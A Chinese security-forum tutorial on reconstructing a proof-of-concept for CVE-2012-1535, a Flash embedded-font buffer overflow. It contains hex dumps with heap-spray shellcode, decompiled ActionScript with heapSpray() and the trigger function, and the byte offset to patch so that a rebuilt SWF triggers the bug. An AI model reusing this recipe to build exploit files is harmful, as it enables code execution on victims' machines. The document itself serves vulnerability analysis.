题记:
很早就想写这么一篇分享,分享自己在构造CVE-2012-1535这一Flash 漏洞样本过程中所遇到的一些问题和总结的一些心得。
之前有 古河 和 Wingdbg 两位大牛两篇漏洞原理的分析文章,我这篇就不从漏洞原理上进行阐述分析,主要说的是自己在分析构造样本过程中的一些思路和方法,都是一些很简单粗浅的东西,大牛看到也莫怪,权当茶余饭后的资料。
古河:【原创】cve-2012-1535漏洞调试分析(附样本) :
http://bbs.pediy.com/showthread.php?t=154860
Wingdbg:【原创】CVE-2012-1535 Flash漏洞调试笔记
http://bbs.pediy.com/showthread.php?t=155101
看到了metazhou的一篇分析
【原创】Step by Step调试CVE-2012-0158 POC
http://bbs.pediy.com/showthread.php?t=152407
与他们的文章结合起来就可以走完漏洞分析的过程,对从事漏洞分析有一定的帮助。最后容我发句牢骚:真心喜欢现在所从事的工作,祈求生活不要给我那么大的压力。
貌似我每次废话都很多,现在开始正题:
分析环境:
Windows XP SP3 虚拟机
010editor
Windbg
硕思闪客精灵
一 分析Flash Swf样本
当拿到一个文件格式方面的样本时,自己的习惯不是去双击打开它,而是使用010editor等十六进制编辑工具打开文件,查看文件中是否有对分析有所帮助的信息,或许能够发现一些漏洞的蛛丝马迹。这次就在十六进制中发现了一些很奇妙的东西:
00D0h: 61 73 68 3C 2F 64 63 3A 66 6F 72 6D 61 74 3E 3C ash</dc:format><
00E0h: 64 63 3A 74 69 74 6C 65 3E 41 64 6F 62 65 20 46 dc:title>Adobe F
00F0h: 6C 65 78 20 34 20 41 70 70 6C 69 63 61 74 69 6F lex 4 Applicatio
0100h: 6E 3C 2F 64 63 3A 74 69 74 6C 65 3E 3C 64 63 3A n</dc:title><dc:
0110h: 64 65 73 63 72 69 70 74 69 6F 6E 3E 68 74 74 70 description>http
…..
01B0h: 3C 64 63 3A 64 61 74 65 3E 41 75 67 20 31 30 2C <dc:date>Aug 10,
01C0h: 20 32 30 31 32 3C 2F 64 63 3A 64 61 74 65 3E 3C 2012</dc:date><
从以上2段数据中可以得到以下信息:
1 Flash Swf文件是由某一款Flash 开发工具生成的,比较流行的是Flash CS系列、Adobe Flash Builder系列、以及其他一些编辑器,碰到最多的就是Flash CS。
2 Flash Swf 是在2012年8月10号创建的,时间很近,这时一个好现象。
此时自己尝试使用Flash Builder 4.6编译一个默认的SWF文件与样本SWF进行比较,发现使用样本并是由Flash Builder 生成的。
接着往下进行分析:
0380h: 00 56 00 00 00 61 00 00 00 7C 41 64 6F 62 65 49 .V...a...|AdobeI
0390h: 64 65 6E 74 69 74 79 52 65 78 6C 69 61 46 72 65 dentityRexliaFre
03A0h: 65 2D 52 65 67 75 6C 61 72 56 65 72 73 69 6F 6E e-RegularVersion
03B0h: 20 31 2E 30 30 30 52 65 78 6C 69 61 20 69 73 20 1.000Rexlia is
03C0h: 61 20 74 72 61 64 65 6D 61 72 6B 20 6F 66 20 54 a trademark of T
03D0h: 79 70 6F 64 65 72 6D 69 63 20 46 6F 6E 74 73 52 ypodermic FontsR
03E0h: 65 78 6C 69 61 20 46 72 65 65 2F 4F 72 69 67 46 exlia Free/OrigF
03F0h: 6F 6E 74 54 79 70 65 20 2F 54 72 75 65 54 79 70 ontType /TrueTyp
0400h: 65 20 64 65 66 00 CC 02 00 01 00 50 00 9F 00 A2 e def.?...P.??
认真分析这段数据可以发现,样本Swf文件中嵌入了一个字体文件,而且可以看到相关的关键字,如下:AdobeIdentityRexliaFree-RegularVersion 1.000Rexlia is a trademark of Typodermic FontsRexlia Free/OrigFontType /TrueType def
以"RexliaFree"为关键字打开百度进行搜索,前3条链接中的一个:
http://www.fontke.com/font/10226295/
其中版权信息:© 2008 Typodermic Fonts. This font is freeware. Read attached text file for details. Check out the rest of the Rexlia family and the OpenType version at Typodermic:
http://www.typodermic.com ,与样本中如下数据相对应:
C370h: C0 00 00 00 03 00 01 04 09 00 00 01 80 00 C0 28 ?..........€.?
C380h: 63 29 20 32 30 30 38 20 54 79 70 6F 64 65 72 6D c) 2008 Typoderm
C390h: 69 63 20 46 6F 6E 74 73 2E 20 54 68 69 73 20 66 ic Fonts. This f
C3A0h: 6F 6E 74 20 69 73 20 66 72 65 65 77 61 72 65 2E ont is freeware.
C3B0h: 20 52 65 61 64 20 61 74 74 61 63 68 65 64 20 74 Read attached t
C3C0h: 65 78 74 20 66 69 6C 65 20 66 6F 72 20 64 65 74 ext file for det
C3D0h: 61 69 6C 73 2E 20 43 68 65 63 6B 20 6F 75 74 20 ails. Check out
C3E0h: 74 68 65 20 72 65 73 74 20 6F 66 20 74 68 65 20 the rest of the
C3F0h: 52 65 78 6C 69 61 20 66 61 6D 69 6C 79 20 61 6E Rexlia family an
C400h: 64 20 74 68 65 20 4F 70 65 6E 54 79 70 65 20 76 d the OpenType v
C410h: 65 72 73 69 6F 6E 20 61 74 20 54 79 70 6F 64 65 ersion at Typode
C420h: 72 6D 69 63 3A 20 68 74 74 70 3A 2F 2F 77 77 77 rmic: http://www
C430h: 2E 74 79 70 6F 64 65 72 6D 69 63 2E 63 6F 6D 00 .typodermic.com.
现在推断这个字体文件,就是嵌入到Flash 漏洞样本中的字体文件,有可能是Flash 解析字体时解析不正确导致的漏洞,果断下载此字体文件,同时也下载了其他链接的字体文件,通过比较后发现为同一文件,没有区别。
再接着往下看:
C820h: 49 41 4E 06 65 6E 64 69 61 6E 22 30 63 30 63 30 IAN.endian"0c0c0
C830h: 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30 c0c0c0c0c0c0c0c0
C840h: 63 30 63 30 63 30 63 39 30 39 30 39 30 88 12 39 c0c0c0c909090?9
C850h: 30 39 30 39 30 39 30 39 30 45 39 34 37 30 31 30 090909090E947010
C860h: 30 30 30 43 32 38 46 33 36 44 38 41 30 44 46 31 000C28F36D8A0DF1
C870h: 36 44 35 42 35 46 30 44 45 37 38 44 30 30 35 38 6D5B5F0DE78D0058
这些数据很明显就是漏洞触发后定义的ShellCode了,对构造样本来说关系不大,但对于漏洞调试分析的话用处是非常大的,在这里知道了ShellCode,可以在内存中有对应的断点,然后分析。
二 还原构造初始样本
现在回头看看我们都知道什么?
1 漏洞是由Flash Builder 编译器生成的
2 疑似触发漏洞的字体文件:rexliafree.ttf
接下来该如何去做呢?
答案很简单,尝试去构造出一个简单的能够触发漏洞样本出来,这首先要面对一个问题,即如何把字体嵌入到Flash 当中,样本是如何做的?
想知道这些就要尝试针对样本Swf进行反编译处理,我用的是硕思,当然也可以用其他反编译工具,效果是一样的。
以下为反编译代码片段:
public function Main() : void
{
this.FontClass = Main_FontClass;
this.heapSpray();
this.TextBlock_createTextLineExample();
return;
}// end function
为主函数代码,从层次结构上看很明显:FontClass之后,堆填充,最终
TextBlock_createTextLineExample()函数触发漏洞。
触发函数代码如下:
public function TextBlock_createTextLineExample() : void
{
var _loc_1:String = "Edit the world in hex.";
var _loc_2:* = new FontDescription("PSpop");
_loc_2.fontLookup = FontLookup.EMBEDDED_CFF;
var _loc_3:* = new ElementFormat(_loc_2);
_loc_3.fontSize = 16;
var _loc_4:* = new TextElement(_loc_1, _loc_3);
var _loc_5:* = new TextBlock();
new TextBlock().content = _loc_4;
this.createLines(_loc_5);
return;
}// end function
private function createLines(param1:TextBlock) : void
{
var _loc_2:Number = 300;
var _loc_3:Number = 15;
var _loc_4:Number = 20;
var _loc_5:* = param1.createTextLine(null, _loc_2);
while (_loc_5)
{
_loc_5.x = _loc_3;
_loc_5.y = _loc_4;
_loc_4 = _loc_4 + (_loc_5.height + 2);
addChild(_loc_5);
_loc_5 = param1.createTextLine(_loc_5, _loc_2);
}
return;
}// end function
从代码中可以看到触发漏洞的流程,根据关键的几个函数能够证实确实是Flash解析字体时触发的漏洞,问题又来了,凭借this.FontClass = Main_FontClass;这一句代码,如何嵌入字体?否则如何触发漏洞,而字体文件又确实嵌入到了Flash Swf文件中。
认真想了想这个问题,记得使用Flash Builder 使用AS3 进行Flash 开发时, Flex可以使用Embed嵌入图片(image)、影片(movice)、Mp3等,有三种嵌入资源的方式可供选择,语法如下:
[Embed(parameter1,parameter2,...)] 元数据
摘自:《flex 关于Embed的应用 》
接着使用google搜索以"as3 font"作为关键字,得到这么一个网页:
http://www.spikything.com/blog/index.php/2009/09/06/how-to-embed-fonts-in-pure-as3/
其中关键代码如下:
[Embed(source = '../fonts/myfont.ttf', fontName = 'MY_FONT',
fontWeight = 'regular', unicodeRange =
'U+0020-U+0040,U+0041-U+005A,U+005B-U+0060,U+0061-U+007A,U+007B-U+007E',
mimeType = 'application/x-font')]
public static const MY_FONT :Class;
通过Embed 这种方法来嵌入一个字体文件,按照这种语法自己照着写一份,如下:
[Embed(source = 'rexliafree.ttf', fontName = 'PSpop',mimeType = 'application/x-font')]
public static const FontClass :Class;
同时把字体文件拷贝到Flash 工程的Src目录下,可编译通过。通过使用 Flash解压缩工具对生成的Flash Swf解压后,使用010editor 打开发现确实嵌入了字体文件,如下:
0210h: C9 0A 46 6C 65 78 34 41 70 70 00 FF 16 C1 C3 00 ?Flex4App..撩.
0220h: 00 01 00 04 50 53 70 6F 70 00 4F 54 54 4F 00 0C ....PSpop.OTTO..
0230h: 00 80 00 03 00 40 43 46 46 20 7B 82 BD 3A 00 00 .€...@CFF {偨:..
0240h: 00 CC 00 00 5F 2C 47 50 4F 53 AD 50 77 A4 00 00 .?._,GPOS璓w?.
0250h: 5F F8 00 00 18 B8 47 53 55 42 A5 13 A4 0F 00 00 _?..窯SUB??..
0260h: 78 B0 00 00 01 88 4F 53 2F 32 66 18 51 6C 00 00 x?..圤S/2f.Ql..
0270h: 7A 38 00 00 00 60 63 6D 61 70 41 FB 82 FA 00 00 z8...`cmapA麄?.
0280h: 7A 98 00 00 02 44 68 65 61 64 EC 98 85 B2 00 00 z?..Dhead鞓叢..
0290h: 7C DC 00 00 00 36 68 68 65 61 08 3A 05 28 00 00 |?..6hhea.:.(..
02A0h: 7D 14 00 00 00 24 68 6D 74 78 05 95 38 14 00 00 }....$hmtx.?...
02B0h: 7D 38 00 00 06 0C 6B 65 72 6E A4 66 AE 58 00 00 }8....kern甔..
02C0h: 83 44 00 00 3D EC 6D 61 78 70 01 83 50 00 00 00 僁..=靘axp.働...
02D0h: C1 30 00 00 00 06 6E 61 6D 65 67 04 F4 8E 00 00 ?....nameg.魩..
02E0h: C1 38 00 00 02 5E 70 6F 73 74 FF B8 00 32 00 00 ?...^post?2..
02F0h: C3 98 00 00 00 20 01 00 04 04 00 01 04 00 00 00 脴... ..........
0300h: 01 00 00 00 13 52 65 78 6C 69 61 46 72 65 65 2D .....RexliaFree-
0310h: 52 65 67 75 6C 61 72 00 01 04 00 00 00 01 00 00 Regular.........
与样本Swf 文件进行比较就会发现,这部分数据都是一样的,除了某个关键点,就是触发漏洞的关键点,这个时候自己还是不知道,只有接着进行样本构造还原,尽量保证文件格式和数据上与样本Swf文件保持一致,这样就能知道样本是如何构造的。
接下来继续构造,既然字体嵌入进去了,就尝试把其他的AS代码加入到Flash 工程中来,简单来说就是把反编译的AS文件添加到自己创建的Flash工程中。
接下来处理这一句代码:
this.FontClass = Main_FontClass;
不明白这段代码是如何产生的?根据之前找到的数据也没有相关的提示,其他野没有好的办法,尝试把之前编译的Swf文件使用硕思进行反编译,得到如下结果:
package
{
import flash.display.*;
import flash.utils.*;
public class Flex4App extends Sprite
{
public var kbArray:ByteArray;
public var mbArray:ByteArray;
public var tmpArray:ByteArray;
public var allocs:Array;
public static const FontClass:Class = Flex4App_FontClass;
public function Flex4App()
{
return;
}// end function
}
}
注意到这句代码没有:
public static const FontClass:Class = Flex4App_FontClass;
默认情况下就能反编译出此句代码,所以this.FontClass = Main_FontClass;
这句代码是可以省略的。
反编译代码的主函数如下:
public function Main() : void
{
this.FontClass = Main_FontClass;
this.heapSpray();
this.TextBlock_createTextLineExample();
return;
}// end function
可以看出是在堆填充(heapSpray()),执行TextBlock_createTextLineExample()函数触发漏洞。把相应的代码拷贝到Flash工程并删除所有的“this.”进行编译,得到一个Swf文件,解压缩,然后与样本Swf进行比较。
这时发现一个很神奇的神奇现象,排除一些文件数据结构上的不同之外大部分数据竟然都是相同的,如图:
图中灰色部分就是相同的部分,一目了然。接着往下分析,找到了下图的不同之处。
样本.swf
8560h: 32 00 8D 00 26 00 00 00 00 00 00 00 00 00 01 00 2.?&...........
8570h: 00 10 00 00 00 1E 0C FF E8 30 00 00 0B 0D DA 00 .......?....?
自己构造.swf
8560h: 32 00 8D 00 26 00 00 00 00 00 00 00 00 00 00 00 2.?&...........
8570h: 01 00 00 3D E8 00 01 0A 4F 30 00 00 0B 0D DA 00 ...=?..O0....?
这里是不是构造的关键点呢,即修改之后就能触发这个漏洞?
回头再来看看这个漏洞的描述:Flash在解析嵌入的字体文件时触发一个缓冲区溢出漏洞,成功利用此漏洞可以执行任意代码。通过对文件结构的分析可以看出来,偏移0x8560是字体数据,既然如此,就尝试修改之,与样本Swf文件一致。
这样就手动构造出来了初始样本,有利于理解漏洞的成因,也有助于分析攻击者构造漏洞利用的过程。
Flash Builder 4.6 工程源码:
Flex4App.rar
CVE-2012-1535 Flash解析特殊格式字体漏洞样本构造分享.doc
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
上传的附件: